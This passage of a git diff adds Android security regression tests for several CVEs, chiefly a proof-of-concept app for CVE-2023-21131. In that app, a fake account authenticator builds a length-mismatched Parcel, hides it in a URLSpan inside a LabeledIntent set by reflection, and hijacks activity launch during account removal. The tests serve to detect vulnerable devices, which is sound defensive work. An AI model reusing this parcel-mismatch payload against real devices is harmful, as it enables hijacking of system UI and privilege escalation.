+ long startTime = System.currentTimeMillis();
+ // The expected UAF crash gets reproduced at least once in every 10 runs, so a buffer
+ // of 10 is added. Hence keeping the number of runs as 20.
+ int runs = 20;
+ // Due to the race condition, it is observed that an unrelated crash occurs
+ // instead of the expected UAF crash in some runs and the PoC exits. This
+ // causes an ASSUMPTION FAILURE. Therefore, the PoC is run in a loop for 20
+ // times or for 30 seconds(whichever ends first), to ignore any unrelated crashes.
+ do {
+ try {
+ poc.run(this);
+ } catch (Exception e) {
+ // Ignore exceptions due to any unrelated crash.
+ }
+ runs--;
+ } while ((System.currentTimeMillis() - startTime <= timeout) && (runs > 0));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java
new file mode 100644
index 0000000..a627f11
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40094 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 288896339)
+ @Test
+ public void testPocCVE_2023_40094() {
+ try {
+ // Install the app
+ installPackage("CVE-2023-40094.apk");
+
+ // Enable global hidden_api_policy to access hidden api 'asInterface' of
+ // 'IActivityTaskManager' in DeviceTest
+ try (AutoCloseable withHiddenApis =
+ SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+
+ // Run the test "testCVE_2023_40094"
+ final String testPkg = "android.security.cts.CVE_2023_40094";
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_40094");
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java
new file mode 100644
index 0000000..29432cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.CommandUtil.runAndCheck;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils.SecondaryUser;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0053 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 281525042)
+ @Test
+ public void testPocCVE_2024_0053() {
+ ITestDevice device = null;
+ try {
+ device = getDevice();
+
+ // Get userId of primary user
+ int primaryUserId = device.getCurrentUser();
+ try (AutoCloseable asSecondaryUser =
+ new SecondaryUser(device).name("cve_2024_0053_user").doSwitch().withUser()) {
+
+ // Capture Screenshot
+ runAndCheck(device, "input keyevent KEYCODE_SYSRQ");
+
+ // Switch back to primary user
+ assume().withMessage("Failed to switch user back to primary user")
+ .that(device.switchUser(primaryUserId))
+ .isTrue();
+
+ // Install application in primary user
+ installPackage("CVE-2024-0053.apk");
+
+ // Run DeviceTest
+ final String testPkg = "android.security.cts.CVE_2024_0053";
+ runDeviceTests(
+ new DeviceTestRunOptions(testPkg)
+ .setDevice(getDevice())
+ .setTestClassName(testPkg + ".DeviceTest")
+ .setTestMethodName("testPocCVE_2024_0053")
+ .setDisableHiddenApiCheck(true));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // To exit the test gracefully
+ runAndCheck(device, "input keyevent KEYCODE_HOME");
+ } catch (Exception e) {
+ // Ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp
new file mode 100644
index 0000000..349e9c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21131-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21131-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
+ "sts-device-util"
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml
new file mode 100644
index 0000000..d27410a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountName">cve_2023_21131_account</string>
+ <string name="accountType">testevilaccount</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_21131_target.TargetActivity</string>
+ <string name="app_name">CVE_2023_21131</string>
+ <string name="bcastActionTarget">CVE_2023_21131_TargetActivity</string>
+ <string name="fieldName">mNonLocalizedLabel</string>
+ <string name="isVulnerable">isVulnerable</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFailure">Device is vulnerable to b/265015796 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="objectNotFound">%1$s account not found</string>
+ <string name="password">password</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_21131_target</string>
+ <string name="pocActivityStatus">status</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="removeAccount">REMOVE ACCOUNT</string>
+ <string name="spannableString">A</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..2eaca94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21131_target">
+
+ <application>
+ <activity
+ android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java
new file mode 100644
index 0000000..d2ab954
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..5738893
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21131_test">
+
+ <application>
+ <activity android:name=".HijackActivity" />
+
+ <service
+ android:name=".PocAuthService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity android:name=".PocActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21131_test" />
+</manifest>
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml
new file mode 100644
index 0000000..a4906cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="testevilaccount"
+ android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java
new file mode 100644
index 0000000..f85a20f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ public static int sTaskId;
+ public final int TIMEOUT_MS = 5000;
+
+ @Test
+ public void testCVE_2023_21131() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ runWithShellPermissionIdentity(
+ () -> {
+ // Registering a receiver here to wait for broadcast
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore hijackReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+
+ // Wait for TargetActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.actionTarget),
+ false)) {
+
+ // Fetch taskId
+ sTaskId =
+ intent.getIntExtra(
+ context.getString(R.string.taskId),
+ -1);
+ if (sTaskId != -1) {
+ targetReturn.release();
+ }
+ }
+
+ // Wait for HijackActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isVulnerable),
+ false)) {
+ hijackReturn.release();
+ }
+ // Wait for PocActivity to get launched
+ mPocActivityStatus =
+ intent.getStringExtra(
+ context.getString(
+ R.string.pocActivityStatus));
+ if (mPocActivityStatus != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(context.getString(R.string.bcastActionTarget));
+ final int requiredFlag =
+ Build.VERSION.SDK_INT >= 33
+ ? (int)
+ Context.class
+ .getField("RECEIVER_EXPORTED")
+ .get(context)
+ : 0;
+ context.registerReceiver(broadcastReceiver, filter, requiredFlag);
+
+ // Start TargetActivity
+ context.startActivity(
+ new Intent(Intent.ACTION_MAIN)
+ .setClassName(
+ context.getString(R.string.pkgTarget),
+ context.getString(R.string.activityTarget))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assume().withMessage(context.getString(R.string.targetFailMsg))
+ .that(targetReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+ .isTrue();
+
+ // Start PocActivity
+ context.startActivity(
+ new Intent(context, PocActivity.class)
+ .setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ assume().withMessage(context.getString(R.string.pocFailedMsg))
+ .that(pocReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+ .isTrue();
+ assume().withMessage(
+ context.getString(
+ R.string.pocCrashedMsg, mPocActivityStatus))
+ .that(
+ mPocActivityStatus.equals(
+ context.getString(R.string.noExceptionMsg)))
+ .isTrue();
+
+ // Wait for account name to appear on display and then click
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ clickObject(context, uiDevice, context.getString(R.string.accountName));
+
+ // Click on 'Remove Account' button
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // Click on 'Remove Account' popup to confirm account removal
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // On vulnerable device, HijackActivity will be launched and the test fails
+ assertWithMessage(context.getString(R.string.msgFailure))
+ .that(hijackReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+ .isFalse();
+ });
+ } catch (Exception e) {
+ assume().that(e).isNull();
+ }
+ }
+
+ public void clickObject(Context context, UiDevice uiDevice, String objectName)
+ throws Exception {
+ Pattern activityPattern = Pattern.compile(objectName, Pattern.CASE_INSENSITIVE);
+ BySelector removeAccountSelector = By.text(activityPattern);
+ UiObject2 uiObject = uiDevice.wait(Until.findObject(removeAccountSelector), TIMEOUT_MS);
+ poll(() -> (uiObject.isEnabled()));
+ assume().withMessage(context.getString(R.string.objectNotFound, objectName))
+ .that(uiObject)
+ .isNotNull();
+ uiObject.click();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java
new file mode 100644
index 0000000..6c0a91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.isVulnerable), true));
+ } catch (Exception ignored) {
+ // Ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java
new file mode 100644
index 0000000..04ff979
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+
+ // Adding account
+ getSystemService(AccountManager.class)
+ .addAccountExplicitly(
+ new Account(
+ getString(R.string.accountName),
+ getString(R.string.accountType)),
+ getString(R.string.password),
+ new Bundle());
+
+ // Show settings to allow configuration of sync settings
+ startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(
+ getString(R.string.pocActivityStatus),
+ getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java
new file mode 100644
index 0000000..ac29109
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+ private Bundle createResultBundle() {
+ try {
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ACCOUNT_NAME, "testevilaccountname");
+ result.putString(AccountManager.KEY_ACCOUNT_TYPE, "testevilaccount");
+ result.putString(AccountManager.KEY_AUTHTOKEN, "mockAuthToken");
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ public PocAuthService() {}
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new TestAccountAuthenticator(this).getIBinder();
+ }
+
+ class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+ public TestAccountAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle getAccountRemovalAllowed(
+ AccountAuthenticatorResponse response, Account account)
+ throws NetworkErrorException {
+
+ try {
+ Intent intent =
+ new Intent(PocAuthService.this, HijackActivity.class)
+ .addFlags(
+ Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+ LabeledIntent labeledIntent =
+ new LabeledIntent(
+ intent, null /* sourcePackage */, 1 /* labelRes */, 0 /* icon */);
+
+ // Creating parcel to setDataPosition
+ Parcel optionPayload = Parcel.obtain();
+ Bundle evilOptions = new Bundle();
+ evilOptions.putInt(getString(R.string.launchTaskId), DeviceTest.sTaskId);
+ evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+ optionPayload.setDataPosition(0 /* position */);
+ int originLen = optionPayload.readInt();
+ optionPayload.setDataPosition(0 /* position */);
+
+ // Parcel data not fully consumed, unread size : 76
+ optionPayload.writeInt(originLen + 76);
+
+ // Creating parcel to create URLSpan
+ Parcel payload = Parcel.obtain();
+ payload.writeString(null /* resultWho */);
+ payload.writeInt(-1 /* requestCode */);
+ payload.writeInt(0 /* flags */);
+ payload.writeTypedObject(null, 0 /* profilerInfo */);
+ payload.writeInt(1 /* value */);
+ payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+ SpannableString spannableString =
+ new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(
+ new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+ 0 /* start */,
+ 0 /* end */,
+ 0 /* flags */);
+
+ // Setting labeledIntent using refelection
+ Field nonLocalizedLabelField =
+ LabeledIntent.class.getDeclaredField(getString(R.string.fieldName));
+ nonLocalizedLabelField.setAccessible(true);
+ nonLocalizedLabelField.set(labeledIntent, spannableString);
+ Bundle result = new Bundle();
+ result.putParcelable(AccountManager.KEY_INTENT, new Intent(labeledIntent));
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle addAccount(
+ AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle getAuthToken(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return "mockAuthTokenLabel";
+ }
+
+ @Override
+ public Bundle updateCredentials(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp
new file mode 100644
index 0000000..f7fc65e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-40094",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
